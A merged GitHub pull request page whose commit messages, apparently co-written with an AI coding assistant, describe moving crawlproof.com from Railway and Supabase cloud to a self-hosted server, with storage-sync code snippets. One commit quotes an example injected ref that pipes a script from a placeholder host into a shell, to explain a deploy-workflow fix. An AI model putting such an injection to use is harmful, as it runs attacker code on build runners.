ops: move crawlproof.com off Railway + Supabase cloud onto dev2 - #296
Merged
Merged
Conversation
Self-host kit for dev2.profullstack.com, under /home/anthony/www/crawlproof.com per the house docroot convention. - server/setup-supabase.sh stands up pinned self-hosted/v0.8.2 Supabase. Adapted from niche-db ops/selfhost-supabase with two deliberate changes: no lock_down_public (crawlproof serves PostgREST with anon/authenticated and RLS, nichedb never did), and no Caddy (dev2 already runs nginx on 80/443, so the gateway is published on loopback). - migrate/ dumps the cloud project, loads public into the self-hosted stack, syncs 9.8 GB of Storage through the API, recreates the 10 pg_cron jobs and the realtime publication, and rewrites the 2,928 rows holding absolute supabase.co storage URLs that would 404 once the cloud project is gone. - server/deploy-app.sh + deploy-dev2.yml replace Railway's repo-watch deploy. - PRD-git-profullstack-com.md drafts the later Gitea migration. Three release-specific facts cost time and are encoded in the scripts: the gateway service is api-gw (Envoy), not kong; ~/www is setgid so config files land unreadable to postgres uid 100, which surfaces only as "postgresql.conf contains errors"; and the gateway port var is API_GW_HTTP_PORT. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
storage.migrations and auth.schema_migrations are how the Storage and GoTrue services record which of their own schema migrations have run. Loading the cloud project's rows makes the self-hosted services believe they have already applied migrations their images have not, and they skip them silently. Also adds render-app-env.mjs, which merges the Railway export with the self-hosted Supabase keys and the handful of values that must change because the host changed (Supabase URL and keys, REDIS_URL off redis.railway.internal). It drops the 56 RAILWAY_SERVICE_*_URL entries Railway injects from the shared project, which mean nothing off Railway. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Job bodies are multi-line and one of them mentions cron.schedule itself, so the manifest reported 11 jobs for 10. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Four things self-hosted/v0.8.2 leaves in a state its own services cannot start from, all hit on a clean initdb and all now repaired idempotently by setup-supabase.sh: - service role passwords do not match POSTGRES_PASSWORD, so PostgREST, GoTrue and Storage crashloop on "password authentication failed" - auth.uid() is owned by supabase_admin while GoTrue migrates as supabase_auth_admin, so its create-or-replace fails "must be owner of function uid" - graphql_public is missing, and PostgREST is configured with db-schemas=public,graphql_public, so it builds no schema cache and 403s - _realtime is missing, and Realtime sets search_path to it, then dies with "no schema has been selected to create in" Branch: this repo's default is master. deploy-dev2.yml watched main and would never have fired. deploy-app.sh now resolves origin/<ref> to a sha first, because `git checkout --detach <missing-ref>` reports only "--detach does not take a path argument". load-selfhost.sh: grep -m1 instead of `grep | head -1`, which under pipefail gave grep a SIGPIPE and left "30\n0" in a variable used numerically; quote the bucket boolean, which psql prints as bare t/f; add --post-only to re-run the idempotent tail after a mid-load failure without duplicating rows. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
GITHUB_APP_PRIVATE_KEY is a PEM with real newlines and lib/env.ts reads it straight from process.env expecting them, so it cannot be flattened. Unquoted, docker compose rejects the entire file with 'unexpected character "+" in variable name', naming the second line of the key rather than the variable that caused it. Compose preserves real newlines inside a double-quoted value. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
REDIS_URL pointed at host.docker.internal, but Redis publishes to 127.0.0.1 on the host, so the gateway address the container resolves is not listening and every connection ended in ETIMEDOUT - which surfaced as the app serving 503 rather than as a Redis error. Redis is a service in the same compose file as the app, so the project network reaches it by name. host.docker.internal remains correct for the Supabase stack, which is a separate compose project. nginx also 414'd the worker's autobid sweep: PostgREST carries filters in the URI and the sweep sends id=in.(...) lists far past the default 8k header buffer. Supabase cloud and Railway accepted them, so this is a regression from putting nginx in front, not an app bug. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
delta-sync.sh backfills what the cloud recorded between the dump and the DNS flip. Only analytics moves in that window and the script asserts it (users, audits, articles and posts were all zero): ad_impressions is append-only so it inserts on conflict do nothing, while the tracker rollups are counters, so the cloud's rows overwrite dev2's for the touched keys right after the flip when dev2 has barely started counting. \copy is a psql meta-command and cannot sit inside a multi-statement -c, which fails with `syntax error at or near "\"`; the data now rides in on the same stdin as the script so the temp table survives to the insert. unpark-cron.sh re-enables the 10 schedules, and refuses to run unless crawlproof.com already resolves to dev2 — unparking early would point every job at whatever else was still serving the name. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
![github-advanced-security[bot]](https://avatars.githubusercontent.com/in/57789?s=60&v=4){kind=small}
ThreatCrush Security Scan48 finding(s) HIGH/CRITICAL: 2 | MEDIUM: 31 | LOW: 15
Snippets are redacted; ThreatCrush never prints matched credential material. |
semgrep flagged the deploy workflow: `inputs.ref` is attacker-controllable
through workflow_dispatch and was interpolated straight into a `run:` body,
so a ref like `main"; curl evil.sh | sh; #` would have executed on the
runner. Every ${{ }} now arrives as an environment variable, and the sha goes
to the remote script as a positional argument rather than being spliced into
the ssh command string, so a hostile ref cannot extend what runs on dev2
either.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
…nline ThreatCrush flagged the runbook's example as a database URL with credentials (high). It was a <pw> placeholder rather than a real secret, but a runbook that shows people pasting a connection string on the command line is the wrong instruction anyway - it puts it in shell history. It now reads from the vault, which is the house rule, and documents the two non-guessable details instead: the postgres.<ref> username and the session pooler host (aws-1, port 5432; aws-0 answers for other projects and returns 'Tenant or user not found', and pg_dump cannot use transaction mode on 6543). Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
redis:7-alpine's entrypoint drops to uid 999 before exec'ing redis-server, so a bind-mounted data directory owned by the deploy user is unwritable. Redis starts fine and only fails at the first BGSAVE, after which it refuses EVERY write with MISCONF - which reaches the app as failing BullMQ commands rather than anything mentioning permissions. The whole prober and ad-video-render queues were dead this way. Also captures the ownership split the deploy depends on: anthony owns the app files and app.env, supabase/ stays root-owned because it holds the God Mode keys, and the script asserts the deploy account cannot read them. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
| async function headSelf(o) { | ||
| // A HEAD through the authenticated object path works for public and private | ||
| // buckets alike, so resume does not depend on the bucket being public. | ||
| const res = await fetch(`${SELF_URL}/storage/v1/object/${o.bucket}/${encodeURI(o.name)}`, { |
| } | ||
|
|
||
| async function downloadCloud(o) { | ||
| const res = await fetch(`${CLOUD_URL}/storage/v1/object/${o.bucket}/${encodeURI(o.name)}`, { |
|
|
||
| async function uploadSelf(o, body) { | ||
| // x-upsert makes a re-run idempotent instead of 409-ing on what is already there. | ||
| const res = await fetch(`${SELF_URL}/storage/v1/object/${o.bucket}/${encodeURI(o.name)}`, { |
Comment on lines
+91
to
+95
| headers: { | ||
| Authorization: `Bearer ${SELF_SERVICE_KEY}`, | ||
| 'Content-Type': o.mime || 'application/octet-stream', | ||
| 'x-upsert': 'true', | ||
| }, |
| movedBytes += o.size; | ||
| } catch (err) { | ||
| failed += 1; | ||
| appendFileSync(failLog, `${o.bucket}\t${o.name}\t${err.message}\n`); |
This was referenced Sep 24, 2026
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
2 participants
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
crawlproof.com now runs entirely on dev2.profullstack.com. Railway and the Supabase cloud project are out of the serving path.
crawlproof-appon dev2 behind nginxywcizjsgrcmhgyplldacsupabase.crawlproof.comredis.railway.internalcrawlproof-redison dev2deploy-dev2.ymlover sshMoved: 4.7 GB database (128 tables, 113 users, 113 identities), 8,410 storage objects / 9.56 GB, 10 pg_cron jobs, the realtime publication.
Things worth knowing
ywcizjsgrcmhgyplldac.supabase.costorage URLs and would have 404'd forever once the cloud project went away. The load rewrites them and verifies 0 remain.storage.migrations/auth.schema_migrationsare excluded from the dump. They are how Storage and GoTrue track their own schema versions; loading the cloud's rows makes the self-hosted services skip migrations they have not run.auth/storageschema ownership, and the missinggraphql_publicand_realtimeschemas.app.envand use docker but notsupabase/.env.Runbook and the Gitea PRD are in
ops/selfhost/.